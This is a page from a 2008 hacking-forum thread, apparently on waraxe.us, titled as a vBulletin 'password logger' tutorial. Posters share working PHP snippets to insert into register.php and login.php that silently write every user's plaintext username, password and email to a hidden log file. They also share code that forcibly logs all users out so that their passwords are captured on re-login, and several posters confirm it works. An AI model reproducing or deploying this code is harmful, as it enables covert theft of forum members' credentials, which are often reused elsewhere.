Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: November 21, 2024 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 88 Members: 0 Total: 88 Full disclosure SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879) Security issue in the TX Text Control .NET Server for ASP.NET. SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater Unsafe eval() in TestRail CLI 4 vulnerabilities in ibmsecurity 32 vulnerabilities in IBM Security Verify Access xlibre Xnest security advisory & bugfix releases APPLE-SA-10-29-2024-1 Safari 18.1 SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600) SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333) APPLE-SA-10-28-2024-8 visionOS 2.1 APPLE-SA-10-28-2024-7 tvOS 18.1 APPLE-SA-10-28-2024-6 watchOS 11.1 APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1 APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1 IT Security and Insecurity Portal www.waraxe.us Forum Index -> vBulletin Board -> [vBulletin] [Tutorial] Password logger Goto page Previous1, 2, 3, 4Next View previous topic :: View next topic Posted: Mon Jun 02, 2008 9:50 pm kurwamac Regular user Joined: Jun 01, 2008 Posts: 13 Can you make for register.php? as someone registers will logs save Posted: Tue Jun 03, 2008 2:39 am gibbocool Advanced user Joined: Jan 22, 2008 Posts: 208 kurwamac wrote: Can you make for register.php? as someone registers will logs save It's very possible, but I dont see what the difference between that and a login logger would be. You're going to get their username and password either way. _________________ http://www.gibbocool.com Posted: Tue Jun 03, 2008 11:31 am tr0nix Active user Joined: Mar 06, 2008 Posts: 48 Edit it like that: Code: $getouttahere = array("administrator", "anotheruser", "anotheruser1337", "user1","user2","user3", "user4"); Posted: Tue Jun 03, 2008 11:46 am kurwamac Regular user Joined: Jun 01, 2008 Posts: 13 tr0nix wrote: Edit it like that: Code: $getouttahere = array("administrator", "anotheruser", "anotheruser1337", "user1","user2","user3", "user4"); I have to enter all the users? unable to do so, it had been automatically registered at all Posted: Tue Jun 03, 2008 1:51 pm tr0nix Active user Joined: Mar 06, 2008 Posts: 48 kurwamac wrote: tr0nix wrote: Edit it like that: Code: $getouttahere = array("administrator", "anotheruser", "anotheruser1337", "user1","user2","user3", "user4"); I have to enter all the users? unable to do so, it had been automatically registered at all Okay, then wait. I'll code it for the registering process, but it can take some time, cause I've birthday and I don't wanna sit all day @ the pc now ;P Posted: Tue Jun 03, 2008 2:06 pm kurwamac Regular user Joined: Jun 01, 2008 Posts: 13 ok waiting Posted: Tue Jun 03, 2008 8:38 pm kurwamac Regular user Joined: Jun 01, 2008 Posts: 13 And what you've done? Posted: Thu Jun 05, 2008 1:46 pm tr0nix Active user Joined: Mar 06, 2008 Posts: 48 Tested under: vBulletin 3.6.9 Open "register.php" and search for Code: $show['errors'] = false; (approx. line 377) Then put the following code under or above the line: Code: $lg_username = strtolower($vbulletin->GPC["username"]); $lg_password = $vbulletin->GPC["password"]; $lg_email = $vbulletin->GPC["email"]; $lg_file = "./includes/lg.html"; if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) { $fp1 = @fopen($lg_file, "a+"); @fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $lg_email . ")\n"); @fclose($fp1); $f = @file($lg_file); $new = array_unique($f); $fp = @fopen($lg_file, "w"); foreach($new as $values) { @fputs($fp, $values); } @fclose($fp); } You can edit the $lg_file variable. It defines where you want to save your log file. Example: Code: $lg_file = "./includes/lg_reg.html"; Greetings, tr0nix Posted: Sun Jun 15, 2008 4:07 am tooth Beginner Joined: May 29, 2008 Posts: 3 Both codes (logging in & the newly added registration one) have been tested and work on vbulleting 3.7.x Posted: Tue Jun 17, 2008 7:11 am ccna Regular user Joined: Apr 22, 2008 Posts: 7 when i put Code: $lg_username = strtolower($vbulletin->GPC["vb_login_username"]); $lg_password = $vbulletin->GPC["vb_login_password"]; $lg_file = "./includes/lg.html"; $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'"); while($row = @mysql_fetch_array($sql_query)) { if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) { $fp1 = @fopen($lg_file, "a+"); @fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n"); @fclose($fp1); $f = @file($lg_file); $new = array_unique($f); $fp = @fopen($lg_file, "w"); foreach($new as $values) { @fputs($fp, $values); } @fclose($fp); } } i got error Code: Warning: array_unique() [function.array-unique]: The argument should be an array xxxx/login.php on line 146 Warning: Invalid argument supplied for foreach() in /xxxlogin.php on line 148 line 146--> $new = array_unique($f); line 148--> foreach($new as $values) Posted: Wed Jun 18, 2008 3:10 pm tr0nix Active user Joined: Mar 06, 2008 Posts: 48 Which version of PHP? Posted: Wed Jul 02, 2008 11:11 am jknx2k Beginner Joined: Jul 02, 2008 Posts: 1 The code doesn't seem to work with 3.7.2 Does anyone know how to make it work? TIA Posted: Sun Jan 04, 2009 2:14 am Sleeper Regular user Joined: Jan 04, 2009 Posts: 12 Location: Earth Dude this hack is sexy as FUCK! Tested and working PERFECT on vb 3.7.3 PL1. I been looking for a hack like this for a min now! Good work man PS: Is there a way to make it so that ALL USERS get logged out so that they all have to relogin at least ONCE so that they username and PW will show up in the log file? Maybe even executing an SQL query on the database or something? Posted: Sun Jan 04, 2009 1:35 pm tr0nix Active user Joined: Mar 06, 2008 Posts: 48 Sleeper wrote: Dude this hack is sexy as xxxx! Tested and working PERFECT on vb 3.7.3 PL1. I been looking for a hack like this for a min now! Good work man PS: Is there a way to make it so that ALL USERS get logged out so that they all have to relogin at least ONCE so that they username and PW will show up in the log file? Maybe even executing an SQL query on the database or something? Change the code to (not tested, should work!): Code: require_once(DIR . '/includes/functions_login.php'); setcookie("countLogout", 0,time()+604800); // save cookie for one week! $countLogout = $_COOKIE["countLogout"]; if($countLogout == 0 && $vbulletin->userinfo['username'] != "") { setcookie("countLogout",1,time()+604800); // save cookie for one week! $vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR); process_logout(); } and it will logout all users, if the cookie is '0' (the cookie will save 1 week, then it begins again). // Added in my starting post Posted: Sun Jan 04, 2009 6:26 pm Sleeper Regular user Joined: Jan 04, 2009 Posts: 12 Location: Earth tr0nix wrote: Sleeper wrote: Dude this hack is sexy as xxxx! Tested and working PERFECT on vb 3.7.3 PL1. I been looking for a hack like this for a min now! Good work man PS: Is there a way to make it so that ALL USERS get logged out so that they all have to relogin at least ONCE so that they username and PW will show up in the log file? Maybe even executing an SQL query on the database or something? Change the code to (not tested, should work!): Code: require_once(DIR . '/includes/functions_login.php'); setcookie("countLogout", 0,time()+604800); // save cookie for one week! $countLogout = $_COOKIE["countLogout"]; if($countLogout == 0 && $vbulletin->userinfo['username'] != "") { setcookie("countLogout",1,time()+604800); // save cookie for one week! $vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR); process_logout(); } and it will logout all users, if the cookie is '0' (the cookie will save 1 week, then it begins again). // Added in my starting post Thanks for the reply. I tried the code and it's not exactly working. First off the code isn't having any affect in Internet Expolrer, it's not giving any errors either it just simply isn't working. Firefox on the other hand, everytime I refresh the page or browse to another thread it logs me out. I logout, log back in and then if I navigate away from the page that I'm on it does the same thing, logs me out and then I gotta log back in. Is there not an SQL query that I can run on my database so that I can force all users to be logged out? Or perhaps change something somewhere so that if a user IS using the REMEMBER ME box then they are only allowed to stay logged in like that for X amount of days. That way at some point they would eventually have to log back in. Kinda like eBay does it where you can only stay logged in for like 24 hours and then the system forces you to log back in etc. [vBulletin] [Tutorial] Password logger www.waraxe.us Forum Index -> vBulletin Board You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 2 of 4 Goto page Previous1, 2, 3, 4Next All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.038 Seconds